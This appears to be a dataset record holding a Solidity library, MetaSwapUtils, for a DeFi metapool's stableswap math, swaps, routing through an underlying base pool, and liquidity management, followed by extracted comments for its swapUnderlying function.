file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../LPToken.sol"; import "../interfaces/ISwap.sol"; import "../MathUtils.sol"; import "../SwapUtils.sol"; /** * @title MetaSwapUtils library * @notice A library to be used within MetaSwap.sol. Contains functions responsible for custody and AMM functionalities. * * MetaSwap is a modified version of Swap that allows Swap's LP token to be utilized in pooling with other tokens. * As an example, if there is a Swap pool consisting of [DAI, USDC, USDT]. Then a MetaSwap pool can be created * with [sUSD, BaseSwapLPToken] to allow trades between either the LP token or the underlying tokens and sUSD. * * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library MetaSwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using AmplificationUtils for SwapUtils.Swap; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event TokenSwapUnderlying( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct MetaSwap { // Meta-Swap related parameters ISwap baseSwap; uint256 baseVirtualPrice; uint256 baseCacheLastUpdated; IERC20[] baseTokens; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; uint256 xpi; } // Struct storing variables used in calculation in removeLiquidityImbalance function // to avoid stack too deep error struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; LPToken lpToken; uint256 totalSupply; uint256 preciseA; uint256 baseVirtualPrice; uint256[] tokenPrecisionMultipliers; uint256[] newBalances; } struct SwapUnderlyingInfo { uint256 x; uint256 dx; uint256 dy; uint256[] tokenPrecisionMultipliers; uint256[] oldBalances; IERC20[] baseTokens; IERC20 tokenFrom; uint8 metaIndexFrom; IERC20 tokenTo; uint8 metaIndexTo; uint256 baseVirtualPrice; } struct CalculateSwapUnderlyingInfo { uint256 baseVirtualPrice; ISwap baseSwap; uint8 baseLPTokenIndex; uint8 baseTokensLength; uint8 metaIndexTo; uint256 x; uint256 dy; } // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Cache expire time for the stored value of base Swap's virtual price uint256 public constant BASE_CACHE_EXPIRE_TIME = 10 minutes; uint256 public constant BASE_VIRTUAL_PRICE_PRECISION = 10**18; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return the stored value of base Swap's virtual price. If * value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly * from the base Swap contract. * @param metaSwapStorage MetaSwap struct to read from * @return base Swap's virtual price */ function _getBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal view returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { return metaSwapStorage.baseSwap.getVirtualPrice(); } return metaSwapStorage.baseVirtualPrice; } /** * @notice Calculate how much the user would receive when withdrawing via single token * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @return dy the amount of token user will receive */ function calculateWithdrawOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 dy) { (dy, ) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _getBaseVirtualPrice(metaSwapStorage), self.lpToken.totalSupply() ); } function _calculateWithdrawOneToken( SwapUtils.Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 dySwapFee; { uint256 currentY; uint256 newY; // Calculate how much to withdraw (dy, newY, currentY) = _calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, baseVirtualPrice, totalSupply ); // Calculate the associated swap fee dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); } return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @param baseVirtualPrice the virtual price of the base swap's LP token * @return the dy excluding swap fee, the new y after withdrawing one token, and current y */ function _calculateWithdrawOneTokenDY( SwapUtils.Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self, baseVirtualPrice); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo( 0, 0, 0, 0, self._getAPrecise(), 0 ); v.d0 = SwapUtils.getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = SwapUtils.getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = SwapUtils._feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { v.xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = v.xpi.sub( ( (i == tokenIndex) ? v.xpi.mul(v.d1).div(v.d0).sub(v.newY) : v.xpi.sub(v.xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( SwapUtils.getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); if (tokenIndex == xp.length.sub(1)) { dy = dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(baseVirtualPrice); } dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. The last element will also get scaled up by * the given baseVirtualPrice. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @param baseVirtualPrice the base virtual price to scale the balance of the * base Swap's LP token. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers, uint256 baseVirtualPrice ) internal pure returns (uint256[] memory) { uint256[] memory xp = SwapUtils._xp(balances, precisionMultipliers); uint256 baseLPTokenIndex = balances.length.sub(1); xp[baseLPTokenIndex] = xp[baseLPTokenIndex].mul(baseVirtualPrice).div( BASE_VIRTUAL_PRICE_PRECISION ); return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(SwapUtils.Swap storage self, uint256 baseVirtualPrice) internal view returns (uint256[] memory) { return _xp( self.balances, self.tokenPrecisionMultipliers, baseVirtualPrice ); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @return the virtual price, scaled to precision of BASE_VIRTUAL_PRICE_PRECISION */ function getVirtualPrice( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage ) external view returns (uint256) { uint256 d = SwapUtils.getD( _xp( self.balances, self.tokenPrecisionMultipliers, _getBaseVirtualPrice(metaSwapStorage) ), self._getAPrecise() ); uint256 supply = self.lpToken.totalSupply(); if (supply != 0) { return d.mul(BASE_VIRTUAL_PRICE_PRECISION).div(supply); } return 0; } /** * @notice Externally calculates a swap between two tokens. The SwapUtils.Swap storage and * MetaSwap storage should be from the same MetaSwap contract. * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, _getBaseVirtualPrice(metaSwapStorage) ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param baseVirtualPrice the virtual price of the base LP token * @return dy the number of tokens the user will get and dyFee the associated fee */ function _calculateSwap( SwapUtils.Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 baseVirtualPrice ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self, baseVirtualPrice); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]).add( xp[tokenIndexFrom] ); uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice Calculates the expected return amount from swapping between * the pooled tokens and the underlying tokens of the base Swap pool. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct from the same contract * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { CalculateSwapUnderlyingInfo memory v = CalculateSwapUnderlyingInfo( _getBaseVirtualPrice(metaSwapStorage), metaSwapStorage.baseSwap, 0, uint8(metaSwapStorage.baseTokens.length), 0, 0, 0 ); uint256[] memory xp = _xp(self, v.baseVirtualPrice); v.baseLPTokenIndex = uint8(xp.length.sub(1)); { uint8 maxRange = v.baseLPTokenIndex + v.baseTokensLength; require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } if (tokenIndexFrom < v.baseLPTokenIndex) { // tokenFrom is from this pool v.x = xp[tokenIndexFrom].add( dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // tokenFrom is from the base pool tokenIndexFrom = tokenIndexFrom - v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { uint256[] memory baseInputs = new uint256[](v.baseTokensLength); baseInputs[tokenIndexFrom] = dx; v.x = v .baseSwap .calculateTokenAmount(baseInputs, true) .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[v.baseLPTokenIndex]); } else { // both from and to are from the base pool return v.baseSwap.calculateSwap( tokenIndexFrom, tokenIndexTo - v.baseLPTokenIndex, dx ); } tokenIndexFrom = v.baseLPTokenIndex; } v.metaIndexTo = v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { v.metaIndexTo = tokenIndexTo; } { uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); uint256 dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee); } if (tokenIndexTo < v.baseLPTokenIndex) { // tokenTo is from this pool v.dy = v.dy.div(self.tokenPrecisionMultipliers[v.metaIndexTo]); } else { // tokenTo is from the base pool v.dy = v.baseSwap.calculateRemoveLiquidityOneToken( v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(v.baseVirtualPrice), tokenIndexTo - v.baseLPTokenIndex ); } return v.dy; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = self._getAPrecise(); uint256 d0; uint256 d1; { uint256 baseVirtualPrice = _getBaseVirtualPrice(metaSwapStorage); uint256[] memory balances1 = self.balances; uint256[] memory tokenPrecisionMultipliers = self .tokenPrecisionMultipliers; uint256 numTokens = balances1.length; d0 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } } d1 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); } uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0); } } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { uint256 pooledTokensLength = self.pooledTokens.length; require( tokenIndexFrom < pooledTokensLength && tokenIndexTo < pooledTokensLength, "Token index is out of range" ); } uint256 transferredDx; { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); { // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math transferredDx = tokenFrom.balanceOf(address(this)).sub( beforeBalance ); } } (uint256 dy, uint256 dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, transferredDx, _updateBaseVirtualPrice(metaSwapStorage) ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add( transferredDx ); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap( msg.sender, transferredDx, dy, tokenIndexFrom, tokenIndexTo ); return dy; } /** * @notice Swaps with the underlying tokens of the base Swap pool. For this function, * the token indices are flattened out so that underlying tokens are represented * in the indices. * @dev Since this calls multiple external functions during the execution, * it is recommended to protect any function that depends on this with reentrancy guards. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { SwapUnderlyingInfo memory v = SwapUnderlyingInfo( 0, 0, 0, self.tokenPrecisionMultipliers, self.balances, metaSwapStorage.baseTokens, IERC20(address(0)), 0, IERC20(address(0)), 0, _updateBaseVirtualPrice(metaSwapStorage) ); uint8 baseLPTokenIndex = uint8(v.oldBalances.length.sub(1)); { uint8 maxRange = uint8(baseLPTokenIndex + v.baseTokens.length); require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } ISwap baseSwap = metaSwapStorage.baseSwap; // Find the address of the token swapping from and the index in MetaSwap's token list if (tokenIndexFrom < baseLPTokenIndex) { v.tokenFrom = self.pooledTokens[tokenIndexFrom]; v.metaIndexFrom = tokenIndexFrom; } else { v.tokenFrom = v.baseTokens[tokenIndexFrom - baseLPTokenIndex]; v.metaIndexFrom = baseLPTokenIndex; } // Find the address of the token swapping to and the index in MetaSwap's token list if (tokenIndexTo < baseLPTokenIndex) { v.tokenTo = self.pooledTokens[tokenIndexTo]; v.metaIndexTo = tokenIndexTo; } else { v.tokenTo = v.baseTokens[tokenIndexTo - baseLPTokenIndex]; v.metaIndexTo = baseLPTokenIndex; } // Check for possible fee on transfer v.dx = v.tokenFrom.balanceOf(address(this)); v.tokenFrom.safeTransferFrom(msg.sender, address(this), dx); v.dx = v.tokenFrom.balanceOf(address(this)).sub(v.dx); // update dx in case of fee on transfer if ( tokenIndexFrom < baseLPTokenIndex || tokenIndexTo < baseLPTokenIndex ) { // Either one of the tokens belongs to the MetaSwap tokens list uint256[] memory xp = _xp( v.oldBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ); if (tokenIndexFrom < baseLPTokenIndex) { // Swapping from a MetaSwap token v.x = xp[tokenIndexFrom].add( dx.mul(v.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // Swapping from a base Swap token // This case requires adding the underlying token to the base Swap, then // using the base LP token to swap to the desired token uint256[] memory baseAmounts = new uint256[]( v.baseTokens.length ); baseAmounts[tokenIndexFrom - baseLPTokenIndex] = v.dx; // Add liquidity to the underlying Swap contract and receive base LP token v.dx = baseSwap.addLiquidity(baseAmounts, 0, block.timestamp); // Calculate the value of total amount of baseLPToken we end up with v.x = v .dx .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[baseLPTokenIndex]); } // Calculate how much to withdraw in MetaSwap level and the the associated swap fee uint256 dyFee; { uint256 y = SwapUtils.getY( self._getAPrecise(), v.metaIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee).div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); } if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a base Swap token, scale down dy by its virtual price v.dy = v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div( v.baseVirtualPrice ); } // Update the balances array according to the calculated input and output amount { uint256 dyAdminFee = dyFee.mul(self.adminFee).div( FEE_DENOMINATOR ); dyAdminFee = dyAdminFee.div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); self.balances[v.metaIndexFrom] = v .oldBalances[v.metaIndexFrom] .add(v.dx); self.balances[v.metaIndexTo] = v .oldBalances[v.metaIndexTo] .sub(v.dy) .sub(dyAdminFee); } if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a token that belongs to the base Swap, burn the LP token // and withdraw the desired token from the base pool uint256 oldBalance = v.tokenTo.balanceOf(address(this)); baseSwap.removeLiquidityOneToken( v.dy, tokenIndexTo - baseLPTokenIndex, 0, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)) - oldBalance; } // Check the amount of token to send meets minDy require(v.dy >= minDy, "Swap didn't result in min tokens"); } else { // Both tokens are from the base Swap pool // Do a swap through the base Swap v.dy = v.tokenTo.balanceOf(address(this)); baseSwap.swap( tokenIndexFrom - baseLPTokenIndex, tokenIndexTo - baseLPTokenIndex, v.dx, minDy, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)).sub(v.dy); } // Send the desired token to the caller v.tokenTo.safeTransfer(msg.sender, v.dy); emit TokenSwapUnderlying( msg.sender, dx, v.dy, tokenIndexFrom, tokenIndexTo ); return v.dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); uint256[] memory fees = new uint256[](pooledTokens.length); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); } for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } v.newBalances[i] = v.newBalances[i].add(amounts[i]); } // invariant after change v.d1 = SwapUtils.getD( _xp(v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256 toMint; if (v.totalSupply != 0) { uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(v.newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = v.newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); v.newBalances[i] = v.newBalances[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } else { // the initial depositor doesn't pay fees self.balances = v.newBalances; toMint = v.d1; } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; uint256 totalSupply = lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee; uint256 dy; (dy, dyFee) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _updateBaseVirtualPrice(metaSwapStorage), totalSupply ); require(dy >= minAmount, "dy < minAmount"); // Update balances array self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); // Burn the associated LP token from the caller and send the desired token lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { // Using this struct to avoid stack too deep error ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); require( amounts.length == v.newBalances.length, "Amounts should match pool tokens" ); require(maxBurnAmount != 0, "Must burn more than 0"); uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, v.newBalances.length ); // Calculate how much LPToken should be burned uint256[] memory fees = new uint256[](v.newBalances.length); { uint256[] memory balances1 = new uint256[](v.newBalances.length); v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { balances1[i] = v.newBalances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { uint256 idealBalance = v.d1.mul(v.newBalances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); // Scale up by withdraw fee tokenAmount = tokenAmount.add(1); // Check for max burn amount require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); // Burn the calculated amount of LPToken from the caller and send the desired tokens v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < v.newBalances.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice Determines if the stored value of base Swap's virtual price is expired. * If the last update was past the BASE_CACHE_EXPIRE_TIME, then update the stored value. * * @param metaSwapStorage MetaSwap struct to read from and write to * @return base Swap's virtual price */ function _updateBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { // When the cache is expired, update it uint256 baseVirtualPrice = ISwap(metaSwapStorage.baseSwap) .getVirtualPrice(); metaSwapStorage.baseVirtualPrice = baseVirtualPrice; metaSwapStorage.baseCacheLastUpdated = block.timestamp; return baseVirtualPrice; } else { return metaSwapStorage.baseVirtualPrice; } } }
* @notice Swaps with the underlying tokens of the base Swap pool. For this function, the token indices are flattened out so that underlying tokens are represented in the indices. @dev Since this calls multiple external functions during the execution, it is recommended to protect any function that depends on this with reentrancy guards. @param self Swap struct to read from and write to @param metaSwapStorage MetaSwap struct to read from and write to @param tokenIndexFrom the token the user wants to sell @param tokenIndexTo the token the user wants to buy @param dx the amount of tokens the user wants to sell @param minDy the min amount the user would like to receive, or revert. @return amount of token user received on swap/ Find the address of the token swapping from and the index in MetaSwap's token list Find the address of the token swapping to and the index in MetaSwap's token list Either one of the tokens belongs to the MetaSwap tokens list Swapping from a MetaSwap token Swapping from a base Swap token This case requires adding the underlying token to the base Swap, then using the base LP token to swap to the desired token Add liquidity to the underlying Swap contract and receive base LP token Calculate the value of total amount of baseLPToken we end up with When swapping to a base Swap token, scale down dy by its virtual price Update the balances array according to the calculated input and output amount When swapping to a token that belongs to the base Swap, burn the LP token and withdraw the desired token from the base pool
